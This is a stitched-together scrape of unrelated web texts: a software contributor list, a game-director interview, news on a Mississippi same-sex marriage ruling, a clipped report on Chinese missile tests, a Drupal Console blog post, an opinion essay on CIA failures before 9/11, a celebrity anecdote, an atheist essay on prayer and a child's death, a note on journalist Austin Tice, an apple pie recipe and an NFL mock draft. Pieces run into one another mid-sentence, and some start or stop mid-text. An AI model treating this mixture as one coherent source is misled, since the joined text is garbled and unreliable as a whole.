Sekletar, Mike Frysinger, Mike Gilbert, Mingcong Bai, Ming Lin, mulkieran, muzena, Nalin Dahyabhai, Naohiro Aota, Nathan McSween, Nicolas Braud-Santoni, Patrik Flykt, Peter Hutterer, Peter Mattern, Petr Lautrbach, Petros Angelatos, Piotr Drąg, Rabin Vincent, Robert Węcławski, Ronny Chevalier, Samuel Tardieu, Stefan Saraev, Stefan Schallenberg aka nafets227, Steven Siloti, Susant Sahani, Sylvain Plantefève, Taylor Smock, Tejun Heo, Thomas Blume, Thomas Haller, Thomas H. P. Andersen, Tobias Klauser, Tom Gundersen, topimiettinen, Torstein Husebø, Umut Tezduyar Lindskog, Uwe Kleine-König, Victor Toso, Vinay Kulkarni, Vito Caputo, Vittorio G (VittGam), Vladimir Panteleev, Wieland Hoffmann, Wouter Verhelst, Yu Watanabe, Zbigniew Jędrzejewski-Szmek — Fairfax, 2016-05-21 ZbyszekPhoenix Was Almost A Mafia And Underworld Lawyer In Ace Attorney: Spirit of Justice
By Sato. September 23, 2016. 1:30pm
The latest Ace Attorney game brings justice more of a spiritual twist, but Siliconera recently spoke to the game and scenario director, Takeshi Yamazaki, who talked about how things could’ve been a little darker in Phoenix Wright’s latest adventure.
When creating the theme for Spirit of Justice, Yamazaki held a brainstorming session where the team felt that the weak defeating the strong was what made a good turnabout. What other ideas were discussed? Were there any case ideas that didn’t work?
Takeshi Yamazaki, Game and Scenario Director: There was one real sticking point while I was writing the design document for Spirit of Justice, and that was how were we going to put Phoenix in a corner, given that he’d become this legendary lawyer in the course of this series.
One idea was to have Phoenix stand as a lawyer in an underground court that served the likes of the mafia and other underworld inhabitants. That underground court would hold trials and render judgment on those who’d broken the rules of the underworld, meaning that even Phoenix would have a tough time believing in his own clients. Furthermore, everyone involved in the trials would be members of the underworld, including witnesses and prosecutors, so naturally, there would be false testimonies, forged evidence, bribes, blackmail, and other dirty dealings going on. Under those circumstances, we figured even Phoenix would feel incredibly like a fish out of water.
Phoenix Wright: Ace Attorney – Spirit of Justice is available for Nintendo 3DS.U.S. District Judge Carlton Reeves on Wednesday handed same-sex couples a partial victory in their quest to overturn Mississippi’s gay marriage ban. (Photo: Getty Images)
U.S. District Judge Carlton Reeves on Tuesday handed same-sex couples a victory in their quest to overturn Mississippi's gay marriage ban.
Reeves granted a preliminary injunction blocking the state's ban against same-sex unions as sought by the Campaign for Southern Equality and two lesbian couples who had sued in the state in federal court. But the judge also postponed the injunction from going into effect for 14 days in a legal maneuver called a "stay."
This means same-sex couples cannot yet obtain marriages licenses in Mississippi.
In his 72-page order, Reeves said "Mississippi continues to change in ways its people could not anticipate even 10 years ago. Allowing same-sex couples to marry, however, presents no harm to anyone. At the very least, it has the potential to support families and provide stability for children."
Reeves' decision came the same day as that of a federal judge in Arkansas who ruled against that state's constitutional amendment defining marriage as between a man and a woman. Their rulings join a string of others recently striking down gay-marriage bans in states across the nation.
Joce Pritchett, who along with her spouse Carla Webb, sued Mississippi, reacted with joy at Reeves' decision.
"We've been dancing around the living room with the kids, with their little thumbs up," said Pritchett of Jackson. "Our daughter Grace yelled, 'Yay, no more bad laws.' I didn't try to explain to her the stay and the appeal, but we just told her we won."
The stay gives Mississippi time to appeal Reeves' ruling at the 5th Circuit Court of Appeals, a move that state Attorney General Jim Hood said late Tuesday he is prepared to take.
Citing his duty to uphold the constitutionality of the state's laws, Hood said he will ask the 5th Circuit to stay Reeves' decision until it can decide the two cases already before it.
The appeals court is set to hear oral arguments the week of Jan. 5 on two other pending gay marriage cases – that of Louisiana and Texas. Whatever the 5th Circuit decides in these cases also will apply to Mississippi.
Meanwhile, the U.S. Supreme Court could agree to a hear one of several other gay marriage cases elsewhere country, with its decision ultimately superseding those made in the federal or circuit courts.
Roberta Kaplan, lead counsel for the plaintiffs, said she's ready to continue the fight.
"We will win this one in the 5th Circuit, too," she said by phone from New York where she practices law.
Best known for her work litigating United States v. Windsor, in which the U.S. Supreme Court struck down parts of the Defense of Marriage Act, Kaplan argued against the state's gay marriage ban in Reeves' courtroom on Nov. 12.
"We're thrilled that Judge Reeves understood and appreciated and took such great care and time to explain why gay people have the same rights under the constitution as everyone else," she said. "I think this opinion is going to stand as truly as a landmark opinion in this area."
The Campaign for Southern Equality filed the lawsuit on Oct. 20 on behalf of Mississippi Pritchett and Webb, who are seeking state recognition for their existing legal marriage performed in Maine; and Rebecca Bickett and Andrea Sanders, who are challenging the state's outright ban on gay marriage.
Defendants in the suit are Hood, Gov. Phil Bryant, Hood and Hinds County Circuit Clerk Barbara Dunn.
Bryant's spokesman, Knox Graham, said late Tuesday that the governor has every confidence that Hood will continue to defend the state constitution.
Both sides had argued before Reeves during a roughly five-hour hearing earlier this month in the federal courthouse in Jackson. Plaintiffs called Mississippi's ban on gay marriage baseless and discriminatory.
The state's lead attorney, Justin Matheny, defended Mississippi's ban as necessary to promote what he called "responsible procreation" among married couples who are able to bear children.
Social media and legal experts nationwide reacted to the news just minutes after the announcement. Some, including Evan Wolfson, president of pro-LGBT organization Freedom to Marry, praised Reeve's decision.
Others, like Forest Thigpen, president of the Mississippi Center for Public Policy, derided the decision as tyranny against the will of state voters who in 2004 overwhelmingly approved a constitutional amendment banning gay marriage.
"We have reached this point where the voice of the people and their elected representatives doesn't matter," Thigpen said in a statement.
Jennifer Riley-Collins, executive director of the American Civil Liberties Union of Mississippi, called it "a beautiful day for all the loving and committed same-sex couples who have long waited to get married, or for their marriages to be recognized in Mississippi …."
But more work remains to end discrimination against gay people in the Magnolia State, said Human Rights Campaign Mississippi director Rob Hill.
"For thousands of LGBT Mississippians, the reality remains that we risk being fired from over jobs, kicked out of our homes or refused service simply because of who we are and who we love—that's not right," he said.
An estimated 3,484 same-sex couples live in the state, according to the most recent decennial census.
Pritchett said the decision gives those couples and their supporters hope, not just in Mississippi, but nationwide.
"We knew when we started this that a whole nation would be watching us," she said. "They're going to say if it can happen in Mississippi, it can happen here, and they're going to have hope, too."
Read or Share this story: http://on.thec-l.com/1vLGYzvIn a brazen broadside to America, China performed a dramatic series of missile tests this weekend -- targeting mock United States missile batteries and jets -- as the superpower flexes its muscles amid global tensions with North Korea and the threat of U.S. intervention, U.S. officials told Fox News.
U.S. spy agencies detected the Chinese military launching a series of 20 missiles at mock targets designed to look like American THAAD missile batteries and advanced U.S. Air Force F-22 stealth fighter jets.
"You don't need |
made more sense at Drupal Camp Costa Rica during a conversation between Larry Garfield, David Flores and I. While talking about Drupal 8 and the recent introduction of Symfony Components, Larry casually mentioned that someone should bring the Symfony console to Drupal 8. That was the light bulb moment!. David and I had been discussing the same topic but had not been writing any code, until that day... we decided to actually start working on the project.
The Prototype: Drupal Console Receives Warm Welcome
After two months of work and only four commands, we had the chance to present a prototype of the project at BADCamp, during a DrupalizeMe training.
The Demo at the training went so well that we got asked to do the same demo at another session about Drupal 8 module development the next day. This was the moment we realized the project we were trying to build was filling a gap related to writing Drupal 8 modules. Drupal Console started as a scaffolding code generator and that is probably the feature that shines the most because it saves you hours of time trying to figure the code you need to write. But the project evolved into a full CLI with the help of multiple contributors.
The Benefits: Drupal Console Can… Open Doors?
After presenting at NYCCamp I had the chance to talk with Ray Saltini and John DeSalvo from Blink Reaction (now FFW). At that time the Company was looking for a Symfony and Drupal 8 developer to help them train company developers and work on contributing back to the Drupal project. One month later I was hired to work contributing to the Drupal Console project.
Preaching Console: Speaking At Events
The project also led to opportunities to meet thousands of drupalers. Teaching people the benefits and the “how to’s” has become part of the passion. I love hearing how people use the console and how we can make it better.
I have been fortunate enough to spread the word about DrupalConsole by speaking at several DrupalCamp and DrupalCon events at Bogota, Los Angeles, New Orleans, Dublin, and Baltimore. I love teaching people how to use the Drupal Console and if you are interested in having me talking at your event just ping me.
Changing Lives: Drupal Console Creates A New Company
After almost four years working together at the DrupalConsole project and five years of knowing each other. Eduardo Garcia aka enzo pitched me the idea of joining forces with him and Kenny Abarca to rebrand and revamp Anexus IT (one of the most well known development companies in Latin America) and this is how weKnow was born.
I’m glad to share the most recent update on weKnow, we just brought in Omar Aguirre, another Drupal Console co-maintainer, to our team.
Thank you for being an awesome community
None of this could have been possible without the incredible support of the community. It’s amazing how a project we started a few years ago as a Drupal 8 learning exercise, is now considered for the Drupal community a must-have tool to accelerate Drupal 8 development.
Thank you for the first one million downloads, for using the project event with all of the constant changes, for attending talks at events, for providing feedback, creating issues, and sending pull requests, for spreading the word and love about the project sending a tweet, writing a blog post or recording a video, and very special thanks to all of the awesome contributors (you can see them listed here).Politics
In intelligence it’s not so much what you don’t know as what you won’t know.
Al Qaeda was initially formed in 1988, when the Soviet Union announced the humiliating withdrawal its forces from Afghanistan, whence it had invaded in 1979. The Saudi magnate, Osama bin Laden, and Abdullah Azzam, the charismatic Palestinian co-founder of Hamas, birthed al Qaeda from the Services Bureau (Mektab al-Khidmat) the pair had set up in the mid-1980s to promote the so-called “Arab Afghans”– Muslims from around the world (but mostly from Arab nations) who flocked to Afghanistan to fight in the jihad.
Among Afghan tribal leaders, the closest ally of bin Laden and his burgeoning al Qaeda network was Gilbuddin Hekmatyar. This was of no small significance. Hekmatyar, an Islamic fundamentalist, was the most virulently anti-American of the Afghans and the one closest to the Pakistani Intelligence Service (ISI), which the CIA was using as its cut-out to support the mujahideen. He was also the top recipient of the CIA’s largesse, reeling in about 20% of the $3 billion-plus in funding and materiel the agency poured into the jihad. That support was matched dollar-for-dollar by our friends the Saudis, who dealt directly with the Arab Afghans and were bin Laden’s chief benefactor.
In short, the CIA helped create al Qaeda. It opened its checkbook but blindly relied on the ISI, which was (and is) rife with Sunni fundamentalist sympathizers. The agency’s effort, as AEI scholar Michael Ledeen has observed, lacked any “engagement and follow-through” with the jihadist networks being created — taking no steps, even after the Soviets vacated, to dismantle them, penetrate them, “or at least remove the most dangerous weapons, like Stinger missiles.”
By 1993, bin Laden was ballistic over the Saudi government’s decision to abide a robust American presence in the Persian Gulf to turn back Saddam Hussein. In Sudan, al Qaeda was headquartered and was a prominent presence at international jihadist conventions. In Somalia, al Qaeda operatives trained Somali tribal militias who attacked U.S. peace-keeping forces, resulting in the infamous Black Hawk Down incident in which nineteen American soldiers were killed. In the Bekkaa Valley, al Qaeda operatives were trained by Hezbollah as a result of an agreement between bin Laden and the Iranian government.
In the United States, an al Qaeda operative named Ali Mohamed — bin Laden’s bodyguard — told FBI intelligence agents that bin Laden ran an organization called al Qaeda which might attempt to take down the Saudi regime.
On August 23, 1996, from the Hindu Kush mountains, bin Laden and al Qaeda issued a widely disseminated declaration of war against the United States, entitled “Message from Usamah Bin-Muhammad Bin-Laden to His Muslim Brothers in the Whole World and Especially in the Arabian Peninsula: Declaration of Jihad Against the Americans Occupying the Land of the Two Holy Mosques; Expel the Heretics from the Arabian Peninsula.”
A year later, under the leadership of new CIA Director George Tenet, the National Intelligence Council, the agency’s strategic center, issued a National Intelligence Estimate, outlining potential perils to the United States. As the Washington Post has reported, the NIE “mentioned bin Laden in only three sentences, describing him only as a ‘terrorist financier.’” It did not mention al Qaeda at all.
Is there anything else you really need to know?
Probably not. But on the off-chance you wanted a graphic look at the sorry inputs and machinery that resulted in such risibly inadequate outputs from the $40 billion-plus per annum intelligence community whose principal task is to apprise policy makers about foreign threats, John L. Helgerson, the CIA’s Inspector General, is your guy. On Tuesday, the IG issued a blistering report detailing thorough-going incompetence at the Agency in the years preceding the 9/11 attacks — from DCI Tenet on down.
The misfeasance and flat-out nonfeasance detailed in the 19-page declassified summary — which Gen. Michael Hayden, the current DCI, fought against releasing — will be surprising only to those taken in by the 9/11 Commission. Though chartered to study intelligence failure, the roots of which long predate the suicide hijackings that killed nearly 3000 Americans, the Commission’s final report, in its ballyhooed bipartisanship, was a political exercise which took great pains not to delve too deeply into the eight Clinton years prior to 9/11, lest anyone think they might have had a smidge more to do with what went wrong than the eight Bush months.
Consequently, little if any attention was paid to the fact that the Clinton administration sought to cash in on a post-Cold War “peace dividend” by drastically slashing intelligence resources, even as Somalia, the 1993 World Trade Center bombing, and a slew of subsequent jihadist strikes elucidated radical Islam’s rise. Or to the fact that, as the Washington Times’ Bill Gertz has reported, the number of deployed CIA intelligence officers around the world fell from a Reagan era high of 8000 to fewer than 1000 during the Clinton years. Or that President Clinton refused to meet with his first CIA Director, the superb Jim Woolsey, a stark contrast from Bush pere and fils, who preferred daily personal briefings from the head of the intelligence community. Clinton evidently did think highly enough of his next CIA Director, John Deutsch, to pardon him — sparing Deutsch a felony indictment for recklessly mishandling classified information.
Tenet, Clinton’s final DCI, got the job by default. He was deputy when Deutsch was forced to resign in late 1996, became acting Director, then got the gig officially when Clinton’s original choice, Anthony Lake, was derailed. As Commentary’s Gabriel Schoenfeld recounts in yet another of his important essays on the agency (“The CIA Follies (Cont’d)”), “Clinton’s decision, we learn from Tenet’s memoir, was almost an afterthought: ‘I found it odd,’ [Tenet] recollects, that there was no job interview … no one asked me what I would do with the intelligence community should I get the job.’”
To be fair, the DCI’s job would have been impossible for even the most talented incumbent, combining three full-time, high pressure jobs: head of the CIA, head of the intelligence community (without control over its budget), and chief foreign intelligence adviser to the president. To cut to the chase, though, Tenet was not the most talented incumbent … and he inherited a mess. For mystifying reasons, Bush kept him on board and ultimately awarded him the Medal of Freedom.
Tenet’s haplessness in matters great and small is a leitmotif of the IG’s report. History will record that, after his aforementioned first NIE failed even to acknowledge the existence of al Qaeda, the United States embassies in Kenya and Tanzania were bombed in August 1998, killing well over 200 people. The atrocities came as a shock to the agency, notwithstanding that bin Laden had by then complemented his 1996 declaration of war with the more infamous February 23, 1998 fatwa, issued under the auspices of the “International Islamic Front for Jihad on the Jews and Crusaders,” calling for the murder of all Americans — including civilians — wherever in the world they could be found. Was the NIE updated to reflect the threat environment more accurately? No. After 1997, the IG recounts, the CIA “did not produce a similar comprehensive assessment … until after 9/11” — not after the embassy bombings, not after the Millennium plots against Los Angeles and American targets in Jordan, and not after the bombing of the U.S.S. Cole in Yemen.
This comes as no surprise. Confirming the earlier findings of a joint inquiry by congressional intelligence committees, the IG explains that the CIA eschewed strategic thinking about al Qaeda throughout the nineties: no comprehensive assessment by its Counterterrorism Center (CTC), no comprehensive report focusing on bin Laden after 1993, and “[l]imited analytic focus on the United States as a potential target” — something the Agency figured was the FBI’s problem to worry about … even as it neglected to apprise the FBI of salient intelligence toward that end. It was not until 2001, at President Bush’s urging, that Tenet directed the CTC to establish a strategic analysis unit, which was finally formed in July of that year, by which time the 9/11 plot was long in motion.
Portentously, Tenet issued a late 1998 memorandum after the embassy bombings, telling his charges, “We are at war.” But it was all wind and no rain. The IG details that an interagency group was created by the memo “to counter the challenge posed by Usama bin Laden,” as to which Tenet purportedly wanted “no resources or people spared.”
Quickly, however, it ran quickly out of steam. There were random tactical operations but “no comprehensive strategic plan” for combating al Qaeda any time prior to 9/11. Far from sparing no resources or people, assets were actually moved out of counterterrorism to cover agency priorities unrelated to terrorism. Reflecting his Washington insider mindset, it seems Tenet matched word with deed only when it came to affirmative action: as Schoenfeld notes, Tenet boasts that he “made it a priority to enhance the agency’s record on diversity” and to have “its workforce reflect a broad cross-section of our population.”
Plainly, developing an able cross-section was not an imperative. The IG found that the CTC was over-stretched, and “[m]ost of its officers did not have the operational experience, expertise and training necessary to accomplish their mission in an effective manner.” This led to stunning lapses. For example, the CTC regarded Khalid Sheikh Mohammed (who had been implicated in a plot to attack U.S. airliners in flight over the Pacific) as a worthy candidate for apprehension; but the eventual 9/11 mastermind was not seen as a senior al Qaeda leader and strategist, and thus the agency “missed important indicators of terrorist planning[,]” including “that KSM was sending terrorists to the United States to engage in activities on behalf of bin Laden.”
More harrowing, in January 2000, the CIA had real-time information that two of the ultimate suicide hijackers, Nawaf al-Hazmi and Khalid al-Midhar, were at a crucial Kuala Lampur meeting—what was, in hindsight, an initial planning confab for the 9/11 attacks. Yet, it failed to place them on the terrorist watch-list even upon learning one had obtained an American visa and the other had already entered the United States. Indeed, the IG concludes that, “[b]asically, there was no coherent, functioning watchlisting program” at CIA. The agency, in any event, compounded this dereliction by failing to notify the FBI about Hazmi and Midhar. As a result, Midhar was able to re-enter the U.S. in July 2001, and the terrorists were not subject to any surveillance under circumstances where monitoring might well have led to “information on flight training, financing, and links to other[]” hijackers. A solid opportunity to thwart the attacks was tragically lost.
By now, this is an old sordid story. Nevetheless, it baffles still. The IG sums up that, for years, the intelligence community’s “understanding of al-Qa’ida was hampered by insufficient analytic focus, particularly regarding strategic analysis.” Yet the media, the academy, the foreign service, and policy makers throughout government breezily insist the terror network had no meaningful relationship with Saddam Hussein’s Iraq (with which al Qaeda had numerous contacts), and has only the flimsiest connection to our mortal enemies in Iran (who’ve trained, harbored and facilitated al Qaeda operatives for over a decade).
After all, they tell us, the CIA says so.Jon Voight bought turkeys for strangers while standing in line at a grocery store in Kentucky, and the internet has taken notice.
The Academy Award-winning actor was in a checkout line at a Walmart store in Louisville when he struck up a conversation with Sydney Gholston, who was buying six turkeys for a Thanksgiving dinner for children at the nonprofit Home of the Innocents.
"I was helping the lady scan the turkeys and the man behind me said, 'You must have a big family. That's an awful lot of turkeys,'" Gholston told ABC News of the encounter. "I said, 'I work at the Home of the Innocents.'"
Voight offered to buy the turkeys for the nonprofit, which helps "medically-fragile children as well as children who are victims of abuse, abandonment, and neglect," according to ABC News.
"I thanked him and and we took a picture," Gholston told the news site. "Very nice guy. He was very interested in what we did at the home. He said that was wonderful."
Home of the Innocents posted a photo of the encounter on its Facebook page. The post has since been shared more than 4,000 times.
Voight was in Louisville for an upcoming movie he's filming there, according to the Courier-Journal.
The good deed drew praise on Twitter.
Another reason I love this man! @jonvoight buys Thanksgiving turkeys for stranger in line at grocery store https://t.co/UtmYTPmpto — Amanda James (@79uptowngirl) November 22, 2016
Jon Voight Buys Thanksgiving Turkeys for Stranger in Line at Grocery Store - ABC News - https://t.co/ywS2SY8YCf - Jon a great American???????? — Pat C in Central FL (@BeachCity55) November 22, 2016
NICELY DONE SIR!!
????????????@JonVoight Buys Thanksgiving Turkeys For Kentucky Home For At-Risk Youth" https://t.co/SYNT3N1cfO — THE LOYAL WATCHDOG (@DanMartin_cards) November 22, 2016Guest post by ObstacleChick
All the tremendous beauty that exists in the world is juxtaposed against the existence of suffering and pain. Most of us experience some degree of suffering and pain during our lifetime, whether it is illness, injustice, or the death of a loved one. But I believe most people would agree that the most horrific suffering is that endured by a child. Most of us desire to help someone whom we see as inherently innocent such as an infant or child, or an animal, or someone who suffers from mental or physical challenges. While we feel empathy for an older person who has cancer, we generally believe that an older person has had the opportunity to live a good life, to experience some of the beauty in the world, to have long relationships with loved ones. But when we hear of something terrible befalling someone quite young, most of us feel an innate desire to protect and to “fix” the situation affecting the young. Most likely this desire stems from an evolutionary construct to preserve our species by ensuring the survival of the young to reach reproductive viability. Most parents will do almost anything to save their young, even to the point of sacrificing themselves, and even those not directly connected to a child often will go out of their way to save a child in danger.
About 8 months ago, a 7-year-old girl in my town was on vacation with her family when she fell ill. After examination at a local medical facility, she was diagnosed with Diffuse Intrinsic Pontine Glioma (DIPG), which means that an aggressive, inoperable tumor was growing through her brain stem. Treatment can include radiation and chemotherapy, but surgery is generally impossible due to the invasive nature of the disease. The five-year survival rate is less than 1%, with most patients dying within months of diagnosis. Most patients diagnosed with this disease are children, and DIPG is one of the most devastating pediatric cancers.
People in our town and surrounding communities banded together to raise money for this little girl’s treatment. There were fundraisers conducted at local gyms and restaurants, and many local businesses and individuals donated money for treatment. Students at the local elementary school where she attended and at the middle school and high school where her siblings attended held their own fundraisers. Over $130,000 was raised for this family. Hardly a day would go by without someone posting on social media to pray for this family, to donate to the family, to help in some way. Even celebrities in politics, entertainment, and news media lent their names to support her cause. Yet sadly, eight months after her initial diagnosis, she passed away.
Our community is comprised primarily of people who attend the local Catholic church. Many of my kids’ friends attended CCD and went through their first communions and confirmations like good Catholic children do. Sports schedules in our community are designed around CCD times, and the local Catholic priest is often present at Memorial Day and Veterans Day ceremonies. This little girl’s family were members of the local Catholic church so presumably the priest and congregants were diligent in their prayers for her cure. Yet she still passed away within months of her diagnosis.
Christians are taught to pray to God for help. “Ask and ye shall receive, seek and ye shall find, knock and the door shall be opened unto you” (Matthew 7:7-8); “And whatsoever ye shall ask in my name, that will I do, that the Father may be glorified in the Son. If ye shall ask any thing in my name, I will do it.” John 14:13-14. These verses, in addition to others, make it patently clear that God will grant the requests of those who ask for assistance in Jesus’ name. With all the prayers for this sweet, innocent little girl to be healed of her disease, how is it that she succumbed to the ravages of this terrible illness?
As an agnostic atheist, I believe that there is no god and that prayers will do nothing beyond making the one who is praying feel as if they are acting on behalf of the sick child. From a theoretical standpoint, though, if there is a god, what does it say about him/her that, even though many in the community were praying for this child, he/she allowed this innocent child to suffer and die? Here are some of my thoughts on the matter.
God is a liar: as stated above, there are multiple verses stating that god will grant requests to those who ask in the name of Jesus. Assuming the supplicants are asking in the name of Jesus – and one would assume that at least the Catholic priest would know how to do that properly – then not healing this child shows that god does not grant requests and that his/her promises are empty at best.
God is uncaring: the vast majority of people feel a desire to ease the suffering of those in need, especially the suffering of children. “Heartbroken” is literally how most people feel when they hear of the plight of an innocent child. If even a fallible human (in Christian terms, that is) can feel heartbroken, how then can a supposedly loving, caring god not feel the same and want to take action?
God is not omnipotent: perhaps god is not a liar and is not uncaring, but perhaps he/she is not capable of healing a child from an aggressive disease. Then he/she is not the omnipotent god that Christians tout.
The Christian god is not the “correct” god: here we can postulate that perhaps Christians are praying to the wrong god and that the god does not want to answer prayers that are not directed to him/her correctly (which makes the god a real jerk if you ask me). What if the god is Zeus, and he wants to be recognized as Zeus? What if there are multiple gods and they are debating which, if any, should help the child? The Old Testament states that god is a jealous god, so perhaps whatever god exists really is a jealous god that wants to be addressed in the proper way and that Christians have not approached the real god correctly? Maybe people should pray to each individual god who has ever been recorded throughout history in order to hedge their bets. And perhaps they must pray to an additional god that is yet to be named, praying in proper supplication and repentance for not getting his/her name right and asking for insight. (Personally, this concept makes my head hurt – it would take hours of research to write down every god that has been recorded by humans and then additional hours praying to each individual god – but I suppose if one believes that someone’s life is on the line, that is a small price to pay in order to get it right).
There is sin in the hearts of those praying: some fundamentalist Christians would believe that of the hundreds of people ostensibly praying for this child that there is not even one whose prayers god can or will hear. This seems to go back to either “god is a liar” or “god is uncaring”.
God is just: we hear this a lot from evangelical Christians, but I am not sure how it applies in this situation. Perhaps because the child was born in original sin? But is a 7-year-old at the age of accountability? Perhaps the parents have not approached god correctly or asked for repentance of sins?
God wanted another “angel” in heaven with him: a few people posted this on social media in response to the girl’s death. To me, this just seems like a cop-out and sign of an uncaring god – that god is so selfish that he/she ends a promising life and causes pain and suffering to those who love her because he/she just has to have this particular person in heaven and can’t wait a few decades for nature to run its course.
God took her “home” to prevent something worse that he foresaw happening in the future: another cop-out speculation related to the one above. Bad things happen to people, and theoretically a caring, omniscient, omnipotent god could correct those situations.
God created the earth and all therein but stays hands-off thereafter: if this is the case, then all the Biblical stories of god directly intervening in the affairs of humans and of the earth just that – stories. If god is actually hands-off, then no sins of action, speech, or thought would be punished and people would be allowed to live as they wish.
Humans cannot understand the mysteries/plans/designs of god: given that we have a Bible that supposedly explains god in all his/her aspects, we should be able to understand god’s capabilities and desires most clearly. The fact that even the most learned pastors and scholars still cannot agree on these basic precepts shows that god is at best a bad communicator. The comment that humans can’t understand god always seemed like a cop-out answer.
There is no god: this seems the most plausible explanation to me. If indeed there existed a benevolent, caring, loving, omniscient, omnipotent deity, then it stands to reason that this deity would feel compelled as humans feel compelled to act on behalf of the weakest and most innocent among us. As such, the deity would step in to heal sick children, to protect children from abuse, to protect them from natural disasters. But this is not what happens. Every day we hear of children who are abused, sometimes to the point of death, children who suffer and die from terrible diseases, children who starve to death, children who are killed in disasters, and children who are murdered. Just read Bruce’s Black Collar Crime series for a myriad concrete examples.
But the majority of humans like to believe that there is a benevolent, caring, loving, omniscient, omnipotent deity who might possibly hear our prayers and act to change things in the world. They can feel like all their prayers actually may accomplish something. While I applaud those who do believe in a powerful deity and who roll up their own sleeves to help their fellow humans, it seems that most religious people would rather rely on their prayers to their deity in the hopes of solving the ills of the world. And that is sad. This girl’s family wrote in her obituary: “Our love and thoughts of you will forever light up our lives as we look forward to being joined with you again in eternity with our Lord and Savior, Jesus Christ, in the Kingdom of Heaven.” While I do not believe this, who am I to divest others of their hope in an afterlife? May her family find peace in their memories of this beautiful little girl.
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This is one of those times when having an embassy in Damascus would be helpful: Americans are working with Czech diplomats to confirm the status of Austin Tice, the freelance journalist missing in Syria since mid-August, and at least it now appears he's alive. Most of the information in the Washington Post and McClatchy reports about Tice, who worked for both organizations, comes from the Czech ambassador to Syria, who in an interview with Czech television said details on his situation had been hard to come by because of Ramadan. According to McClatchy's Hannah Allam, a Czech radio report first described Tice's situation over the weekend, but it's taken this long to confirm the information. "One reporter for a Western news organization who had seen Tice in Daraya around Aug. 7 said that during a return visit Aug. 18, rebels who had been with Tice expressed concern, saying he had left abruptly three days earlier and not returned," Allam reported. It's a great relief that he's safe, but still frustrating that so little else is known. Both the Post and McClatchy are still asking people to come forward with information.
This article is from the archive of our partner The Wire.If you grew up with McDonald's deep-fried apple pies, you know that their current baked iteration, while still tasty, barely holds a candle to their crisp, flaky-crusted progenitors. But don't fret; while they're no longer available in most restaurant locations, we've come up with our own take on this irresistible treat. Or, see if you can track one down at one of a handful of franchises that still make the good stuff.
Deep-Fried Apple Pies From Brandi Milloy, POPSUGAR Food Ingredients 2 Granny Smith apples 1 Pink Lady or Honeycrisp apple 4 tablespoons brown sugar, packed 1 teaspoon cinnamon 1/2 teaspoon nutmeg, freshly grated 1/2 teaspoon allspice 2 tablespoons salted butter 1 box puff pastry sheets, thawed overnight in the fridge Vegetable, peanut, or canola oil for frying Directions Peel and roughly chop the apples. Transfer to a large saucepan, and add the sugar, spices, and butter; cook over medium heat for about 10 minutes or until tender. Allow to cool. Cut each puff pastry sheet into four equal-sized strips. For each apple pie, spoon 2 tablespoons of apple mixture on one side of each puff pastry strip. Brush the edges of puff pastry with water before folding the pastry over to cover the filling. Crimp closed with the tines of a fork. Refrigerate for 15 minutes to firm up the dough. Meanwhile, heat 1 inch of oil to 350°F in a large, heavy-bottomed dutch oven or pot. Fry pies 2 or 3 at a time for about 2 minutes or until golden brown, flipping once. Transfer to a paper-towel lined plate. Serve hot. Information Category Desserts, Pies/Tarts Cuisine North American Yield 8 piesThe quarterback “buzz” around the Bears has certainly picked up in the last two weeks and some seem to be convinced that general manager Ryan Pace is going to draft a QB with the third overall draft pick.
I’m not one of those people.
I’m sticking to my original thinking that Pace thoroughly evaluated this quarterback class and decided that Mike Glennon provided similar upside at a cheaper (guaranteed) price without burning the No. 3 overall pick. If the Bears wanted to bring in a one-year stop-gap while a first round quarterback developed, they could have just re-signed Brian Hoyer, which is something they never got too serious about. Glennon is here because Pace believes he can be the Bears’ answer at the position.
Hoge & Jahns Podcast: Mock Draft Roundtable
Regardless of what I think the Bears will do, I’ve always been consistent in my approach with these mock drafts — I make my picks based on what I think they should do and so far I’ve been very clear that I don’t think there is a quarterback worth taking at No. 3 overall.
As a reminder, my fourth and final Bears mock draft is the only one in which I’ll repeat picks from previous editions, but in the interest of simulating different scenarios, I will not repeat a previous first round pick this year. That said, let me make it clear (and I’ll put it in bold print this time): I believe LSU safety Jamal Adams is the pick the Bears should make, assuming Myles Garrett is not available. He was my original pick in Bears Mock Draft 1.0.
More NFL Draft Coverage:
Hoge’s Bears Big Board
Ranking The Top 10 Quarterbacks
Bears Mock Draft 3.0
So, for the sake of this particular mock draft, let’s assume Garrett and Adams are off the board. The Bears are now on the clock. Let’s get to the picks:
1st round, No. 3 overall — DE Solomon Thomas, Stanford (6-2 5/8, 273)
Thomas is certainly in play for the Bears at No. 3 overall and he should be. He is a young, athletic and versatile defensive lineman with outstanding character and an arrow that is pointing up. These are all staples of previous Pace draft picks. I admittedly have questioned Thomas’ exact position because he appears to be undersized as either a tackle or a 3-4 defensive end, but much like Aaron Donald proved that size isn’t everything, Thomas has the quickness, motor and pure strength to put weight concerns to rest. And it’s his flexibility that makes him so attractive in Vic Fangio’s defensive scheme. I think Thomas will hold up as a five-technique, but he’ll also be able to kick inside in sub-packages or even rush from a two-point stance (which is something he’ll need to learn). Thomas is young and still nowhere near his ceiling. He’d bring an immediate impact to the Bears’ defense and is probably the one missing piece in the Bears’ front-seven right now.
2nd round, No. 4 (No. 36 overall) — FS Justin Evans, Texas A&M (5-11 5/8, 199)
My one and only repeat pick this year, I had Evans in the third round of Bears Mock Draft 3.0. Subsequent conversations make me believe he’ll be selected in the Top 50 though and I’m a big enough believer in his talent to take Evans at No. 36. With extensive experience at both strong and free safety, I believe he has the ball skills to be one of the better “centerfielders” in this draft. With 32-inch arms and a 41.5-inch vertical, Evans can go up and make plays on the football. He needs to work on becoming a more reliable tackler, but the willingness is not a problem as Evans proved at Texas A&M that he was a thumper in the SEC, despite a body type better suited at free safety. If the Bears don’t draft Adams or Malik Hooker in the first round, Evans would be a very good consolation prize in the second round.
3rd round, No. 3 (No. 67 overall) — WR Chris Godwin, Penn State (6-1, 209)
One of my favorite receivers in this draft, I think Godwin will be a steal after the first two rounds. He may not have ideal height, but he plays much bigger than he is because of a large catching radius and an ability go up and high-point the football. Godwin isn’t going to run away from you, but he still proves to be a vertical threat because of the way he adjusts to the football and wins 50-50 balls. His tape is littered with big plays, especially in big games (see: Rose Bowl vs USC). I think Godwin will be a very good No. 2 wide receiver at the next level, providing great value in the third round.
4th round, No. 4 (No. 111 overall) — ILB Anthony Walker Jr., Northwestern (6-0 5/8, 238)
